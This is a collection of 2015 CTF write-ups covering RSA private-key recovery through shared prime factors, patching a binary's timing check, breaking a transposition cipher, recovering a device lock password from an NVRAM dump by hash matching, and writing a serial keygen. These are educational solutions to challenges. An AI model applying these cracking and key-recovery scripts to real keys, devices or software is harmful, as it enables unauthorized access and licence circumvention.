>```python>#!/usr/bin/python>#># Backdoor CTF 2015># RSALOT (CRYPTO/250) Exploit>#># @a: Smoke Leet Everyday># @u: https://github.com/smokeleeteveryday>#>>import os>from Crypto.PublicKey import RSA>from Crypto.Cipher import PKCS1_OAEP>from base64 import b64decode>># GCD (times sign of b if b is nonzero, times sign of a if b is zero)>def gcd(a,b):> while b != 0:> a,b = b, a % b> return a>># Extended Greatest Common Divisor>def egcd(a, b):> if (a == 0):> return (b, 0, 1)> else:> g, y, x = egcd(b % a, a)> return (g, x - (b // a) * y, y)>># Modular multiplicative inverse>def modInv(a, m):> g, x, y = egcd(a, m)> if (g != 1):> raise Exception("[-]No modular multiplicative inverse of %d under modulus %d" % (a, m))> else:> return x % m>># Calculate private exponent from n, e, p, q>def getPrivate(n, e, p, q):> d = modInv(e, (p-1)*(q-1))> return RSA.construct((n, e, d, p, q, ))>># Get prime factors of n1 if n1 and n2 have common prime factor>def commonPrimeFactor(n1, n2):> p = gcd(n1, n2)> if((p != 1) and (p != n1) and (p != n2)):> q = n1 / p> return (p, q) > else:> return None>># Import all keys>def getKeys():> keys = {}> privKeys = []>> filenames = next(os.walk("."))[2]> for filename in filenames:> if(filename[-3:] == "pem"):> f = open(filename, 'rb')> externKey = f.read()> f.close()> keys[int(filename[:-4])] = RSA.importKey(externKey)>> # Check for common prime factors> for index1 in keys: > key1 = keys[index1]>> for index2 in keys:> if(index1 == index2):> continue> > key2 = keys[index2]> r = commonPrimeFactor(key1.n, key2.n)> if(r != None):> print "[+]Got private key from common modulus between (%d) and (%d)" % (index1, index2)> privKeys.append(getPrivate(key1.n, key1.e, r[0], r[1]))> > return privKeys>># Decrypt ciphertext using private key (PKCS1 OAEP format)>def do_decrypt(rsakey, ciphertext):> rsakey = PKCS1_OAEP.new(rsakey) > plaintext = rsakey.decrypt(b64decode(ciphertext)) > return plaintext>># Get all private keys>privKeys = getKeys()>ciphertext = open("flag.enc", 'rb').read()>># Try all potential private keys we obtain>for privKey in privKeys:> try:> print do_decrypt(privKey, ciphertext)> print ""> except:> pass>```
Which gave the following result:
>```bash>$ python rsalot.py>[+]Got private key from common modulus between (64) and (87)>[+]Got private key from common modulus between (87) and (64)>{flag removed upon request of backdoorCTF admins ;)}>``` |
# ASIS CTF Quals 2015: leach
----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| ASIS CTF Quals 2015 | leach | Reversing | 250 |
**Description:**>*Find the flag in this [file](challenge/leach).*
----------## Write-up
Let's take a look at the file:
>```bash>file leach>leach; ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped>```
If we run it, it starts waiting for a long time and playing pong:
>```bash>$ ./leach>>this may take too long time ... :)>>##############################>#| #># #># #># |#># o #># #># #># #>##############################>```
and fire it up in IDA to get some pseudocode. The relevant part of the main routine is the following:
>```c>__int64 __fastcall mainroutine(__int64 a1, __int64 a2)>{>> (...)>> while ( 1 )> {> src = off_602540[v13];> if ( !src )> break;> v12 = time(0LL);> sleep(*(&seconds + v13));> v11 = (unsigned __int64)time(0LL) - v12;> sprintf(&s, "%d", v11, v4);> strcpy(&dest, src);> strcat(&dest, &s);> if ( !sub_400D65(&dest, (unsigned int)dword_602300[v13], &v8) )> {> LODWORD(v3) = sub_400DDD(&dest);> printf(v3);> dword_602BF8 = 0;> }> ++v13;> }> putchar(10);> result = 0LL;> }> return result;>}>```
As we can see v11 is the difference between two timestamps taken with a sleep operation in between (which will sleep for a number of seconds determined by index v13 in table seconds). v11 is then combined with variables retrieved from tables off_602540 and dword_602300 and put into function sub_400D65 which will decide whether to call the (presumable) decryption function sub_400DDD or not, using the constructed argument, and output the result. So without looking any further at these subroutines, let's first eliminate the delay by simply setting v11 to seconds[v13] immediately without sleep in between. The disassembly of the relevant code looks as follows:
>```asm>.text:0000000000401121 mov edi, 0 ; timer>.text:0000000000401126 call _time>.text:000000000040112B mov [rbp+var_8], eax>.text:000000000040112E mov eax, [rbp+var_4]>.text:0000000000401131 cdqe>.text:0000000000401133 mov eax, seconds[rax*4]>.text:000000000040113A mov edi, eax ; seconds>.text:000000000040113C call _sleep>.text:0000000000401141 mov edi, 0 ; timer>.text:0000000000401146 call _time>.text:000000000040114B mov edx, eax>.text:000000000040114D mov eax, [rbp+var_8]>.text:0000000000401150 sub edx, eax>.text:0000000000401152 mov eax, edx>.text:0000000000401154 mov [rbp+var_C], eax>```
So all we need to do is patch out the instructions from 0x040113A to 0x0401152 to make sure the right value goes from the lookup table to v11 (indicated by [rbp+var_C]). We do this in IDA by using edit -> patch program -> change byte and change the entire range to NOP (0x90) instructions. We then generate an IDA diff file by using File -> Produce file -> Create DIF file which produces the [following file](solution/leach.dif):
>```>This difference file has been created by IDA>>leach.bak>000000000000113A: 89 90>000000000000113B: C7 90>000000000000113C: E8 90>000000000000113D: 3F 90>000000000000113E: F8 90>000000000000113F: FF 90>0000000000001140: FF 90>0000000000001141: BF 90>0000000000001142: 00 90>0000000000001143: 00 90>0000000000001144: 00 90>0000000000001145: 00 90>0000000000001146: E8 90>0000000000001147: F5 90>0000000000001148: F7 90>0000000000001149: FF 90>000000000000114A: FF 90>000000000000114B: 89 90>000000000000114C: C2 90>000000000000114D: 8B 90>000000000000114E: 45 90>000000000000114F: F8 90>0000000000001150: 29 90>0000000000001151: C2 90>0000000000001152: 89 90>0000000000001153: D0 90>>```
And then supply the resulting DIF to the [following IDA dif patcher](http://stalkr.net/files/ida/idadif.py) to produce a patched binary:
>```bash>$ ./idadif.py ./leach ./leach.dif>Patching file './leach' with './leach.dif'>Done>```
Which when run gives us the flag:
>```bash>$ ./leach>this may take too long time ... :)>ASIS>##############################>{f18b0b4f1bc6c8af21a4a53ef002f9a2}>``` |
# ASIS Quals CTF 2015: Angler
**Category:** Crypto**Points:** 150**Solves:** 22**Description:**
> Connect there and find the flag.> > nc 217.218.48.84 34211> > mirror 1 : nc 217.218.48.84 34213> > mirror 2 : nc 217.218.48.84 34215> > mirror 3 : nc 217.218.48.84 34210
## Write-up
by [DerBaer0](https://github.com/DerBaer0)
**Observing**When we connect, the server asks for the solution of a simple addition> Welcone to AngriCrypt challange :)>> Bot detection: Are you ready?>> 2 + 25 =
After solving this, we get an encrypted message and the possibility to en/decryt our own messages:> Encrypted message is: shaTetfirpr a stog fli:f 0A9 SeS{0eeI6e5o14n Whsm, i ebnesssclgym oeoto ,d ur onit detovyerhm awaho tngsuhkthaes lheense. Tscs tn od parff o a6lgais:8a e7c77ce607c363_c_52_}>> ___d_> Tell us your choice:>> [E]ncrypt: [D]ecrypt:
Both, E and D will ask for a message and a key. We can use this to find out, how the algorithm works. After this, we can try to decrypt the server's message manually. This weird string already looks a bit like a flag ('{', '}', ASIS-letters), but it looks a bit scrambled up.After playing around a bit with different trivial messages and keys, I tried:
message: "abcdefghijklmnopqrstuvwxyz"
key: "aud"
Which gives the ciphertext: "acbdfegihjlkmonprqsutvxwy_z"Here we can see: always 3 characters form one 'block' and are mixed up with the same algorithm:the first character stays at his position, the other two change position. If you take a look at the key:If we order the letters in alphabetic order ("adu") and apply the exakt same reordering as in the message, we get the key. The '_' seems to be a padding character to make the message dividable by 3.
**Cracking**So, we have to find a permutation P of length L that will reorganize the letters in the given message to form a valid flag.There are a lot of possibilities, but we can use some hints:* The total message is 182 bytes long and we know L divides the message length. So L is on of: 1, 2, 7, 13, 14, 26, 91, 182. We have 7 '_'s, so the key has to be bigger. 13 (prime number) sounds like a reasonable possibility* The padding bytes have to go to the end and I guessed the original message ended in "}\n"This will give me the following permutation list:[(1, 3, 4, 11), 6, 7, (0, 2, 5, 8, 9, 10, 12)]Where the i'th number means, in the original message at position i is the character that is at P[i] in the ciphertext.The 6 and 7 ('}' and '\n') are fixed. About the 4 values in the beginning and 7 in the end, we don't have any information yet, how to order them.The following code transforms the string acording to the permutation.```pythonres = ""for i in range(0, 182, len(perm)): for k in range(len(perm)): res += string[i + perm[k]] res += "|" # to show blocksprint(res)```This will give us:
*"hTe fisatrpr | tof fasgli: |A SIS{09e0ee6|514, Weonhsm | eblesi nsscg|moe toy o ,du| onot r idetv|ehm awyr ahot|guh thnskaesl|enss. heeTsc |nod pat rffo|alg is 6a:8ae|c7c66077e7c33|c52d}#_______|"*
Let's fix the ASIS (swap first and second bytes. 3rd and 4th are in correct order already)
[3, 1, 4, 11, 6, 7, (0, 2, 5, 8, 9, 10, 12)]
*"The fisatrpr |t of fasgli: | ASIS{09e0ee6|154, Weonhsm |e blesi nsscg|ome toy o ,du|o not r idetv|hem awyr ahot|ugh thnskaesl|ness. heeTsc |ond pat rffo|lag is 6a:8ae|7cc66077e7c33|5c2d}#_______|"*
Now, we can bruteforce the remaining 7! = 5040 possibilities, or we just guess the beginning text:"The first part of flag:"
This leads us to the (final) permutation of
[3, 1, 4, 11, 6, 7, 8, 0, 5, 12, 9, 2, 10]
And the decrypted message:
*The first part of flag is: ASIS{00e6e9e154, When some blessings come to you, do not drive them away through thanklessness. The second part of flag is: ae86a7cc66077e3c735c2d}#_______*
And so the flag is: ASIS{00e6e9e154ae86a7cc66077e3c735c2d}
So, as soon as you get the idea on how the algorithm works and how to get a few letters organized, it is solved in a short time.
## Other write-ups and resources
* none yet |
from the simulator, "9930-nv.dmp" is the file we want to look into, but where is the password?1. in order to find the location of the password, let's set one on our own first, open simulator, do factory reset, so we can set our password2. set screen lock password --> "password", generate SHA1 hash, which is "5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8"3. use winhex, go to 9930-nv.dmp, search for "5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8"the offset is 000530204. check the original 9930-nv.dmp, go to the same offset, got the hash "3E270F54C6EB3175B4EF8B20080795EF2EE15589"5. search "3E270F54C6EB3175B4EF8B20080795EF2EE15589", we got "fuckfuckfuckyouhahaha"...6. unlock with "fuckfuckfuckyouhahaha", and to go contact for hints7. we got the contact "Plaid CTF", and the answer is there...8... perm.ly/h0grm, blackberry.dmp, open winhex, search for the same pattern, "3C000000" which is before the SHA1, we got "5BAA61E4C9B93F3F0682250B6CF8331B7EE68FD8" again, which is "password"...9. oh well, password is not correct, let's continue to search (with patience), we got "AC0CFE7BD0AE22B44722F1A01ECB6CE102CA27C5"<span>10. google it... "BerryGood"</span>Ref:http://crackberry.com/security-blackberry-balanceThe personal master key is also randomly generated. The personal master key is stored in NVRAM on the device and is encrypted with the system master keyhttp://www.forensicfocus.com/Forums/viewtopic/t=7055/password should be in SHA15baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 - password<span>3E270F54C6EB3175B4EF8B20080795EF2EE15589 - fuckfuckfuckyouhahahafull writeup with screens will be provided soon</span> |
# ASIS CTF Quals 2015: selfie
----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| ASIS CTF Quals 2015 | selfie | Reversing | 150 |
**Description:**>*Find the flag in this [file](challenge/selfie).*
----------## Write-up
See what file has to say first:
>```bash>file selfie>selfie; ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, not stripped>```
And fetch some pseudocode:
>```c>int __cdecl main(int argc, const char **argv, const char **envp)>{> const char **v4; // [sp+0h] [bp-110h]@1> char v5[8]; // [sp+10h] [bp-100h]@4> char v6[112]; // [sp+20h] [bp-F0h]@2> char s[8]; // [sp+90h] [bp-80h]@1> int v8; // [sp+D8h] [bp-38h]@4> int v9; // [sp+DCh] [bp-34h]@4> FILE *stream; // [sp+E0h] [bp-30h]@4> int v11; // [sp+ECh] [bp-24h]@1> int v12; // [sp+F0h] [bp-20h]@1> unsigned int v13; // [sp+F4h] [bp-1Ch]@1> void *ptr; // [sp+F8h] [bp-18h]@1> int j; // [sp+104h] [bp-Ch]@12> unsigned int i; // [sp+108h] [bp-8h]@5> int v17; // [sp+10Ch] [bp-4h]@1>> v4 = argv;> ptr = 0LL;> v13 = 0;> v12 = 13848;> strcpy(s, "ASIS{4a2cdaf7d77165eb3fdb70 : i am the first part of flag\t");> v11 = strlen(s);> v17 = 0;> putchar(10);> while ( v17 < v11 )> {> v6[v17] = s[v17];> v6[v17 + 1] = 0;> loading((__int64)v6);> ++v17;> }> putchar(10);> stream = fopen(*argv, "r");> fseeko(stream, 0LL, 2);> v13 = ftello(stream);> rewind(stream);> ptr = malloc((signed int)(v13 + 1));> v9 = fread(ptr, 1uLL, (signed int)v13, stream);> *((_BYTE *)ptr + (signed int)v13) = 0;> strcpy(v5, " ");> v8 = strlen(v5);> if ( argc == 3 )> {> for ( i = 0; (signed int)i < (signed int)v13; ++i )> {> if ( *((_BYTE *)ptr + (signed int)i) == 84> && *((_BYTE *)ptr + (signed int)i + 1) == 114> && *((_BYTE *)ptr + (signed int)i + 2) == 121 )> printf("%d[%c]\n", i, *((_BYTE *)ptr + (signed int)i), v4);> }> }> for ( j = 0; j < v8; ++j )> v5[j] = *((_BYTE *)ptr + v12 + j);> puts(v5);> fclose(stream);> return 0;>}>```
We can see from the source the first part of the flag is slowly output to the screen, running it gives us the following:
>```bash>$ ./selfie>ASIS{4a2cdaf7d77165eb3fdb70 : i am the first part of flag >>Try harder :)>```
If we look at the code we can see it also performs an fopen() on the first argument of argv, which is the filename of the file itself. It then proceeds to read its own body into memory and, after outputting the flag, output the 15 bytes located at offset 13848, which is the string "Try harder :)". This is confirmed by the (argc == 3) check which searches the binary buffer for the string "Try". Running the binary with two arbitrary commands gives us the following output:
>```bash>$ ./selfie ayy lmao>ASIS{4a2cdaf7d77165eb3fdb70 : i am the first part of flag >>13848[T]>Try harder :)>```
So if we look at this offset in a hex editor we see that the string "Try harder :)" is located amid what looks like a section table:
>```asm>00003610 00 00 00 00 00 00 00 00 54 72 79 20 68 61 72 64 Try hard>00003620 65 72 20 3A 29 0A 00 47 43 43 3A 20 28 44 65 62 er :) GCC: (Deb>00003630 69 61 6E 20 34 2E 39 2E 32 2D 31 30 29 20 34 2E ian 4.9.2-10) 4.>00003640 39 2E 32 00 47 43 43 3A 20 28 44 65 62 69 61 6E 9.2 GCC: (Debian>00003650 20 34 2E 38 2E 34 2D 31 29 20 34 2E 38 2E 34 00 4.8.4-1) 4.8.4 >00003660 00 2E 73 79 6D 74 61 62 00 2E 73 74 72 74 61 62 .symtab .strtab>00003670 00 2E 73 68 73 74 72 74 61 62 00 2E 69 6E 74 65 .shstrtab .inte>00003680 72 70 00 2E 6E 6F 74 65 2E 41 42 49 2D 74 61 67 rp .note.ABI-tag>00003690 00 2E 6E 6F 74 65 2E 67 6E 75 2E 62 75 69 6C 64 .note.gnu.build>000036A0 2D 69 64 00 2E 67 6E 75 2E 68 61 73 68 00 2E 64 -id .gnu.hash .d>000036B0 79 6E 73 79 6D 00 2E 64 79 6E 73 74 72 00 2E 67 ynsym .dynstr .g>000036C0 6E 75 2E 76 65 72 73 69 6F 6E 00 2E 67 6E 75 2E nu.version .gnu.>000036D0 76 65 72 73 69 6F 6E 5F 72 00 2E 72 65 6C 61 2E version_r .rela.>000036E0 64 79 6E 00 2E 72 65 6C 61 2E 70 6C 74 00 2E 69 dyn .rela.plt .i>```
This, however, is neither were the section table is supposed to be in this ELF nor does it correspond to this ELF's section table so this made us suspicious and we looked up a little to find this:
>```asm>00008960 7F 45 4C 46 02 01 01 00 00 00 00 00 00 00 00 00 ELF >00008976 02 00 3E 00 01 00 00 00 30 05 40 00 00 00 00 00 > 0 @ >00008992 40 00 00 00 00 00 00 00 C8 1D 00 00 00 00 00 00 @ È >00009008 00 00 00 00 40 00 38 00 08 00 40 00 1E 00 1B 00 @ 8 @ >00009024 06 00 00 00 05 00 00 00 40 00 00 00 00 00 00 00 @ >```
It seems that there is another ELF binary hidden in our binary so we extract it and [take a look at it](challenge/hidden_selfie):
>```bash>$file hidden_selfie>hidden_selfie; ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, not stripped>```
We load it into IDA to get pseudocode:
>```c>int __cdecl main(int argc, const char **argv, const char **envp)>{> signed __int64 v3; // rcx@1> char *v4; // rdi@1> signed __int64 v5; // rsi@1> char targetbuf[1536]; // [sp+0h] [bp-620h]@1> char *dest; // [sp+600h] [bp-20h]@11> unsigned int v9; // [sp+608h] [bp-18h]@4> int v10; // [sp+60Ch] [bp-14h]@4> __int64 timestamp; // [sp+610h] [bp-10h]@4> unsigned int i; // [sp+61Ch] [bp-4h]@5>> v3 = 190LL;> v4 = targetbuf;> v5 = 4196736LL;> while ( v3 )> {> *(_QWORD *)v4 = *(_QWORD *)v5;> v5 += 8LL;> v4 += 8;> --v3;> }> *(_WORD *)v4 = *(_WORD *)v5;> timestamp = (unsigned int)time(0LL);> sitoor(timestamp);> printf("%lu %lu\n ", g_r, timestamp - g_r * g_r);> v10 = timestamp - g_r * g_r;> v9 = (unsigned __int64)((g_r - ((signed int)timestamp - (signed int)g_r * (signed int)g_r)) / 2) - 49;> printf("%d\n", v9);> if ( 3013 * g_r == 3286 * v10 + 5 )> {> for ( i = 0; (signed int)i < (signed int)v9; ++i )> {> if ( !(unsigned int)sitoor((signed int)i) )> putchar(targetbuf[i + 1]);> }> }> else> {> dest = 0LL;> dest = (char *)malloc(0x572uLL);> strcpy(dest, hidden);> }> return 0;>}>>__int64 __fastcall sitoor(signed __int64 a1)>{> __int64 result; // rax@2> signed int i; // [sp+2Ch] [bp-14h]@3> long double v3; // [sp+30h] [bp-10h]@3>> if ( a1 * a1 == a1 )> {> result = 0LL;> }> else> {> v3 = (long double)(a1 / 2);> for ( i = 0; i < 1000; ++i )> v3 = (v3 * v3 + (long double)a1) / (v3 + v3);> g_r = (signed __int64)v3;> result = 0.0 != v3 - (long double)(signed __int64)v3;> }> return result;>}>```
The above code retrieves the current unix timestamp, performs some arithmetic and transformations (in the form of the sitoor function) on it and checks if the resulting values satisfy some equation:
>```c> v9 = (unsigned __int64)((g_r - ((signed int)timestamp - (signed int)g_r * (signed int)g_r)) / 2) - 49;> printf("%d\n", v9);> if ( 3013 * g_r == 3286 * v10 + 5 )>```
If this is the case then the following loop iterates (with a length determined by arithmetic over the current timestamp) over a buffer embedded in the binary and decide (using the sitoor function over the loop index) whether to output the current byte or not:
>```c> for ( i = 0; (signed int)i < (signed int)v9; ++i )> {> if ( !(unsigned int)sitoor((signed int)i) )> putchar(targetbuf[i + 1]);> }>```
We can see from the disassembly that the buffer in question is initialized as follows:
>```asm>.text:00000000004006FE lea rax, [rbp+targetbuf]>.text:0000000000400705 mov edx, offset aUthGed>.text:000000000040070A mov ecx, 0BEh>.text:000000000040070F mov rdi, rax>.text:0000000000400712 mov rsi, rdx>.text:0000000000400715 rep movsq>```
and looks like this:
>```asm>0000000000400980 93 74 68 B2 47 65 64 00 D9 EE 20 B5 9A 55 E4 62 ôth¦Ged.+e ¦ÜUSb>0000000000400990 75 73 EC 1E A5 FA 8D 2D 9C 96 65 68 26 3D 81 59 us8.Ñ·.-£ûeh&=.Y>00000000004009A0 10 0F 91 AA 95 63 86 C3 C0 3C C7 11 57 D9 92 AD ..æ¬òcå++<¦.W+Æ¡>00000000004009B0 9B 73 6F F6 FF F4 7B 57 1B FE 5A 18 A6 C2 FB 7E ¢so÷ ({W.¦Z.ª-v~>00000000004009C0 17 64 D3 4E BE 39 2A 0D E9 1D 35 DA C4 03 AB A6 .d+N+9*.T.5+-.½ª>00000000004009D0 58 08 6E 1D 73 A1 D4 B0 E7 7A 0B F0 2C A7 57 56 X.n.sí+¦tz.=,ºWV>```
So we know our scrambled buffer consists of 0xBE QWORDS (1520 bytes) and we can simply extract the buffer and iterate over it in its entirety testing the index against a ported version of the sitoor function. This way we won't have to find out at what time we have to execute the binary in order to match the intended timestamp. The [following script](solution/selfie_descramble.py) automates the whole process:
>```python>#!/usr/bin/python>#># ASIS CTF Quals 2015># selfie (REVERSING/150)>#># @a: Smoke Leet Everyday># @u: https://github.com/smokeleeteveryday>#>>g_r = 0>># fetch hidden binary>def get_hidden_elf(selfie):> data = open(selfie, "rb").read()> offset = 8960 # offset of hidden ELF> return data[offset: ]>># fetch scrambled buffer from hidden ELF>def get_scrambled_buffer(hidden_selfie_buffer):> offset = 2432 # offset of scrambled buffer> size = 1521 # size of scrambled buffer> return hidden_selfie_buffer[offset: offset+size]>># ported sitoor function>def sitoor(a):> global g_r>> if(a*a == a):> return False>> v3 = float(a) / 2> for i in xrange(1000):> v3 = float(v3*v3 + a) / (v3+v3)> g_r = long(v3)> return (0.0 != (v3 - float(long(v3))))>>def descramble(selfie):> scrambled = get_scrambled_buffer(get_hidden_elf(selfie))> #Try bruteforce approach> v9 = 1521> res = ""> for i in xrange(v9):> if not(sitoor(i)):> res += scrambled[i + 1]> return res>>print "[+]Got flag: [%s]" % descramble("./selfie")>```
Which gives us the second part of the flag:
>```bash>$ ./selfie_descramble.py>[+]Got flag: [the secodn part of flag is: 93a641a99a}]>```
Combined with the first part we get the flag:
>*ASIS{4a2cdaf7d77165eb3fdb7093a641a99a}* |
# Nuit Du Hack CTF 2015: Crackme Prime
**Category:** Reversing**Points:** 150**Description:**
> "I am Optimus Prime, and I send this message to any surviving Autobots taking refuge among the stars. We are here, we are waiting.">> [Keygen me](challenge/prime.tar.gz), I'm the Prime.> > Validate your serial here : http://crackmeprime.challs.nuitduhack.com/
## Write-up
The challenge consists of reversing a binary in order to write a keygen (or at least find a single valid serial) for it. As usual we start by checking our file:
>```bash>$ file ./crackme> crackme: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=0x92d632c664b683dc98873fe1c785d1e6928e7272, not stripped>```
A statically linked unstripped 32-bit ELF binary it is. The next thing to do is loading it in IDA Pro and decompiling the main routine and the functions it calls:
>```c>int __cdecl main(int argc, const char **argv, const char **envp)>{> int result; // eax@6> signed int v4; // esi@7> int v5; // esi@7> int v6; // esi@7> int v7; // esi@7> int v8; // esi@7> char v9; // [sp+0h] [bp-4Eh]@7> char v10; // [sp+5h] [bp-49h]@7> char v11; // [sp+Ah] [bp-44h]@7> char v12; // [sp+Fh] [bp-3Fh]@7> char dest; // [sp+14h] [bp-3Ah]@7> char s; // [sp+19h] [bp-35h]@7> int v15; // [sp+1Eh] [bp-30h]@7> int v16; // [sp+22h] [bp-2Ch]@7> int v17; // [sp+26h] [bp-28h]@7> int v18; // [sp+2Ah] [bp-24h]@7> int v19; // [sp+2Eh] [bp-20h]@7> int v20; // [sp+32h] [bp-1Ch]@7> int *v21; // [sp+46h] [bp-8h]@1>> v21 = &arg;;> if ( argc <= 1 )> {> puts("please give me serial number");> exit(0);> }> if ( strlen(argv[1]) == 29 )> {> if ( strchr(argv[1], 48) )> {> puts("Invalid char");> result = 1;> }> else> {> memset(&s, 0, 5u);> memset(&dest, 0, 5u);> memset(&v12, 0, 5u);> memset(&v11, 0, 5u);> memset(&v10, 0, 5u);> memset(&v9, 0, 5u);> strncpy(&s, argv[1], 4u);> strncpy(&dest, argv[1] + 5, 4u);> strncpy(&v12, argv[1] + 10, 4u);> strncpy(&v11, argv[1] + 15, 4u);> strncpy(&v10, argv[1] + 20, 4u);> strncpy(&v9, argv[1] + 25, 4u);> v20 = strtol(&s, 0, 16);> v19 = strtol(&dest, 0, 16);> v18 = strtol(&v12, 0, 16);> v17 = strtol(&v11, 0, 16);> v16 = strtol(&v10, 0, 16);> v15 = strtol(&v9, 0, 16);> v4 = c1(v20);> v5 = c1(v19) & v4;> v6 = c1(v18) & v5;> v7 = c1(v17) & v6;> v8 = c1(v16) & v7;> result = v8 & c1(v15);> if ( result )> {> result = c1((v17 + v18 + v19 + v20 + v16) % v15);> if ( result )> {> puts("Well done !!!");> result = printf("%s is good serial\n", argv[1]);> }> }> }> }> else> {> puts("Wrong format");> result = 1;> }> return result;>}>```
From these lines:
>```c> if ( strlen(argv[1]) == 29 )> {> if ( strchr(argv[1], 48) )> {> puts("Invalid char");> result = 1;> }>```
We know the serial is supposed to be 29 characters long and cannot contain the '0' character. The series of strncpy calls tells us the serial gets seperated into 6 4-digit values which get converted to a long from hex representation. This gives us the following serial format:
> XXXX-XXXX-XXXX-XXXX-XXXX-XXXX
Where X is [1-9A-F].
Next we see a series of calls to c1 with the various serial segments as arguments resulting in the following validation check:
>```c> v8 = (c1(v16) & (c1(v17) & (c1(v18) & (c1(v19) & c1(v20)))))> result = v8 & c1(v15)> if ( result )> {> result = c1((v17 + v18 + v19 + v20 + v16) % v15);> if ( result )> {> puts("Well done !!!");> result = printf("%s is good serial\n", argv[1]);> }> }>```
Let's look at the c1 function:
>```c>signed int __cdecl c1(int a1)>{> signed int result; // eax@2> int v2; // [sp+0h] [bp-138h]@3> int v3; // [sp+4h] [bp-134h]@1> int v4; // [sp+8h] [bp-130h]@1> char v5; // [sp+Ch] [bp-12Ch]@1> char v6; // [sp+98h] [bp-A0h]@1> int (__cdecl *v7)(int); // [sp+124h] [bp-14h]@3> int v8; // [sp+128h] [bp-10h]@1> int v9; // [sp+12Ch] [bp-Ch]@1>> v3 = 12345;> v4 = 54321;> v9 = (int)"azertyuiopazerty";> v8 = 16;> if ( aes_init("azertyuiopazerty", 16, &v3, &v6, &v5) )> {> result = -1;> }> else> {> v2 = 96;> v7 = (int (__cdecl *)(int))aes_decrypt(&v5, &buf_0, &v2;;> EVP_CIPHER_CTX_cleanup(&v6;;> EVP_CIPHER_CTX_cleanup(&v5;;> result = v7(a1) != 0;> }> return result;>}>```
The function decrypts a static buffer using openssl_AES with the key "azertyuiopazerty" and salt 12345 and subsequently calls that 'hidden' function over a1 and returns the result.Let's put a breakpoint after the buffer gets decrypted:
>```bash>gdb-peda$ b *0x08048D9C>gdb-peda$ r>(.. we see v7 = 0x082234b0 ..)>gdb-peda$ disas 0x082234b0, 0x8223510>Dump of assembler code from 0x82234b0 to 0x8223510:>```>```asm>=> 0x082234b0: push ebp> 0x082234b1: mov ebp,esp> 0x082234b3: sub esp,0x10> 0x082234b6: mov DWORD PTR [ebp-0x8],0x0> 0x082234bd: mov DWORD PTR [ebp-0x4],0x1> 0x082234c4: jmp 0x82234e3> 0x082234c6: mov eax,DWORD PTR [ebp+0x8]> 0x082234c9: cdq > 0x082234ca: idiv DWORD PTR [ebp-0x4]> 0x082234cd: mov eax,edx> 0x082234cf: test eax,eax> 0x082234d1: jne 0x82234df> 0x082234d3: add DWORD PTR [ebp-0x8],0x1> 0x082234d7: cmp DWORD PTR [ebp-0x8],0x2> 0x082234db: jle 0x82234df> 0x082234dd: jmp 0x82234eb> 0x082234df: add DWORD PTR [ebp-0x4],0x1> 0x082234e3: mov eax,DWORD PTR [ebp-0x4]> 0x082234e6: cmp eax,DWORD PTR [ebp+0x8]> 0x082234e9: jle 0x82234c6> 0x082234eb: cmp DWORD PTR [ebp-0x8],0x2> 0x082234ef: jne 0x82234f8> 0x082234f1: mov eax,0x1> 0x082234f6: jmp 0x82234fd> 0x082234f8: mov eax,0x0> 0x082234fd: leave > 0x082234fe: ret >```
Manually translating this disassembly listing to pseudo-code yields:
>```c>function v7(a1)>{> var1 = 0> var2 = 1> while(var2 <= a1)> {> if(a1 % var2 == 0)> {> var1++> if(var1 > 2)> break;> }> var2++> }> if(var1 != 2)> {> return 0;> }> else> {> return 1;> }>}>```
Which is effectively a prime-number check that returns 1 if a1 is prime and 0 if it isn't.This means that we now know our serial should look as follows:
> X0-X1-X2-X3-X4-X5
Where every Xi is a 4-digit prime number (in hex representation) without containing zeros and in addition (sum(A1..A5) % A6) is prime too. We wrote a [little keygen](solution/crackmeprimesolution.py) to generate valid serials. It works by finding a valid prime and using it for all but 1 of the first 5 fields and for the last field. In this fashion we only have to bruteforce one of the first 5 fields so that its addition to the sum of the others will leave a remainder (modulo the found prime) that is itself prime:
>```python>#!/usr/bin/python>#># Nuit Du Hack CTF 2015># Crackme Prime (REVERSING/150) Solution>#># @a: Smoke Leet Everyday># @u: https://github.com/smokeleeteveryday>#>from pyprimes import *>>def isValidSerial(v16, v17, v18, v19, v20, v15):> v8 = (isprime(v16) and (isprime(v17) and (isprime(v18) and (isprime(v19) and isprime(v20))))) and isprime(v15)> return isprime((v17 + v18 + v19 + v20 + v16) % v15)>>def keygen(startPoint): > primeiterator = primes_above(startPoint)> p = next(primeiterator)> > # Generate valid prime> while('0' in hex(p)[2:]):> p = next(primeiterator)>> # Use as first v17,v18,v19,v20,v15 only bruteforce v16> A = [p]*6> while not(isValidSerial(A[0], A[1], A[2], A[3], A[4], A[5])):> A[0] = next(primeiterator)>> while('0' in hex(A[0])[2:]):> A[0] = next(primeiterator)>> return "-".join(hex(A[i])[2:] for i in range(6))>>print keygen(0x2AD0)>```
Which gives us the following result:
>```bash>$ python crackmeprimesolution.py> 55d9-2add-2add-2add-2add-2add>$ ./crackme 55d9-2add-2add-2add-2add-2add> Well done !!!> 55d9-2add-2add-2add-2add-2add is good serial>```
Submitting the serial to the online validator gives us the flag:
> Congratulation! The flag is : WowThatWasEasyAES |
after few static analysis i found that we can get back the original data by running the file "flag.enc" through the encryption process 3 times then you get the flag./dark flag.enc flag1.enc./dark flag1.enc flag2.enc./dark flag2.enc flag3.encflag3.enc -> PDF file#xor #easy_hunt |
# Teaser CONFidence CTF 2015: Practical Numerology
----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| Teaser CONFidence CTF 2015 | Practical Numerology | Web | 300 |
**Description:**>*Here's a [lotto script](challenge/index.php), running on my old and slow computer. Can you pwn it?*
----------## Write-up
The lotto script effectively does the following:
* It checks if the session (handled in PHP using cookies) contains the 'secret' variable, if not it generates a new secret* It checks if the POST variable 'guess' is set, if so it compares the guess against the stored secret and if it matches we get the flag* If it does not match, the secret is displayed and gets refreshed
